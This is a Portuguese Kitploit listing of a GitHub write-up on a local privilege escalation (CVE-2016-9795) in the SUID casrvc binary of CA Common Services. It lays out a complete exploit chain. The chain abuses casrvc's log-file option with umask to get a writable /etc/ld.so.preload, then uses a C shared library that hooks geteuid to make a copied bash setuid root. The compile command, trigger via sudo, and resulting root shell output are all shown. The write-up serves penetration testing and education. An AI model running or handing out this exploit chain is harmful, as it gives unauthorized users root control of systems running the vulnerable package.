Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/blogresponder/ca-common-services-privilege-escalation-cve-2016-9795-revisited
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado e EducaçãoExploração de Binários
GitHubblogresponder/ca-common-services-privilege-escalation-cve-2016-9795-revisited

CA-Common-Services-privilege-escalation-cve-2016-9795-revisited

Revisitando o escalonamento de privilégio CVE-2016-9795 (binário casrvc do pacote CA Common Services)

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
2há 5 anosAinda não revisado

CA Common Services escalação de privilégios (CVE-2016-9795) revisitado

Descrição

Em um dos meus testes de penetração, deparei-me com o binário SUID casrvc (que faz parte do pacote CA Common Services). Como descobri, o binário é vulnerável a escalação de privilégios local. Na verdade, um CVE público (CVE-2016-9795) já foi atribuído a essa vulnerabilidade pelo grupo NCC.

A vulnerabilidade é realmente trivial e, como descobri mais tarde, o grupo NCC divulgou uma Prova de Conceito em seu comunicado PDF (https://www.nccgroup.com/globalassets/our-research/uk/technical-advisories/2017/advisory-craigsblackie-cve-2016-9795.pdf). No entanto, durante meu engajamento de teste de penetração, escolhi um caminho de exploração diferente que, para começar, é uma alternativa viável e possivelmente menos arriscada se executada corretamente.

Vulnerabilidade

A vulnerabilidade está no binário SUID casrvc que expõe um recurso que permite ao usuário escolher o nome do arquivo (e caminho absoluto) para o qual os logs serão gravados. Parte desse arquivo de log é controlada pelo usuário, portanto, no final, isso dá ao usuário não privilegiado uma escrita arbitrária mais ou menos controlada.

Gravação arbitrária de arquivo de saída

/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /tmp/t/log_test stop "**[INPUT CONTROLADO PELO USUÁRIO]**"

Saída do log

root@kitploit:~
[...]

2020-09-20 17:41:08 <22288:00002> [3]: Running in Very Verbose Mode.
2020-09-20 17:41:09 <22288:00003> [3]: INFO - Validating User ithc.oss
permission.
2016-08-08 17:41:09 <22288:00004> [0]: ERROR - User does not have permission to
start/stop **[INPUT CONTROLADO PELO USUÁRIO]**

O PoC já existente simplesmente concatena a saída do log ao arquivo /etc/passwd para adicionar outra entrada de usuário no grupo root. Concatenar coisas a /etc/passwd às vezes pode ser arriscado e, no meu caso, queria evitar travar o servidor a todo custo.

Exploração

A técnica de exploração não é nova e foi abordada por muitos outros pesquisadores (incluindo @dawid_golunski, @itm4n). Ela se aplica a este binário e falo sobre ela aqui para fins educacionais.

Conceito

Consiste em anexar ou criar o arquivo /etc/ld.so.preload. Este arquivo, conforme descrito no manual do Linux man ld.so, permite definir uma lista de nomes de bibliotecas (um por linha) que serão carregadas toda vez que um binário for executado.

root@kitploit:~
/etc/ld.so.preload
              File containing a whitespace-separated list of ELF shared objects to be  loaded  before
              the  program.   See  the  discussion  of  LD_PRELOAD  above.   If  both  LD_PRELOAD and
              /etc/ld.so.preload are employed, the libraries specified by  LD_PRELOAD  are  preloaded
              first.  /etc/ld.so.preload has a system-wide effect, causing the specified libraries to
              be preloaded for all programs that are executed on the system.  (This is usually  unde‐
              sirable,  and is typically employed only as an emergency remedy, for example, as a tem‐
              porary workaround to a library misconfiguration issue.)

A especificidade deste arquivo é que as bibliotecas pré-carregadas são carregadas para TODOS os programas executados no sistema, incluindo programas SUID. Isso, obviamente, não é o caso da variável de ambiente "LD_PRELOAD" que pode ser definida por qualquer usuário para pré-carregar bibliotecas no contexto de sua sessão.

Exploit

Gravação arbitrária

Para controlar totalmente o conteúdo do arquivo criado, usamos o comando umask para definir a máscara de criação de modo de arquivo. Dessa forma, quando o arquivo de log for criado, terá permissões de leitura e gravação para todos.

root@kitploit:~
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
ls -lah /etc/ld.so.preload
-rw-rw-rw- 1 root dsm 1 Nov  4 15:44 /etc/ld.so.preload
Nota

Tentamos apagar o conteúdo do arquivo rapidamente, pois após executar o executável casrvc o conteúdo não contém nenhuma biblioteca .so válida e gerará mensagens de erro sempre que um programa for iniciado no computador.

Nota sobre umask

No nosso caso, o truque com umask funciona. Às vezes, no entanto, os executáveis definem o valor de umask por conta própria, caso em que nosso valor de umask é sobrescrito e ignorado.

Criação do arquivo de biblioteca .so

Em seguida, criamos um arquivo .so. Segue o código-fonte para este arquivo .so. Ele faz três coisas:

  • sobrescreve a função de sistema geteuid
  • que simplesmente adicionará o bit SUID ao binário na localização desejada (neste caso "/tmp/root_shell")
  • então removerá o arquivo ld.so.preload e prosseguirá para a execução normal da função original geteuid
root@kitploit:~
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <fcntl.h>

uid_t geteuid(void) {
  static uid_t  (*old_geteuid)();
  old_geteuid = dlsym(RTLD_NEXT, "geteuid");
  if ( old_geteuid() == 0 ) {
    chown("/tmp/root_shell", 0, 0);
    chmod("/tmp/root_shell", 06777);
    unlink("/etc/ld.so.preload");
  }
  return old_geteuid();
}

Para compilá-lo, simplesmente:

root@kitploit:~
gcc -Wall -fPIC -shared -o "/tmp/lib.so" "/tmp/lib.c" -ldl
Nota

Nos comandos anteriores, presumimos que a partição /tmp não está montada com as propriedades NOEXEC nem NOSUID.

Juntando tudo

  1. Copiamos o binário /bin/bash para o local desejado
root@kitploit:~
cp /bin/bash /tmp/root_shell
  1. Executamos o binário casrvc conforme descrito acima para obter direitos de gravação no arquivo /etc/ld.so/preload
root@kitploit:~
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
  1. Copiamos o caminho da lib.so compilada para o arquivo /etc/ld.so.preload (já temos permissões de gravação nele agora)
root@kitploit:~
echo /tmp/lib.so > /etc/ld.so.preload
  1. Executamos qualquer programa SUID que chamará a função geteuid (qualquer SUID de propriedade do root deve funcionar, por exemplo "sudo")
root@kitploit:~
sudo
  1. Aproveite o shell root
root@kitploit:~
/tmp/root_shell
$ id
uid=0(root) gid=0(root) groups=0(root)

Referências

  • Nginx (Debian Based Distros + Gentoo) - 'logrotate' Local Privilege Escalation
  • CVE-2019-19544 - CA Dollar Universe 5.3.3 'uxdqmsrv' - Privilege Escalation via a Vulnerable SUID Binary
Baixar ferramenta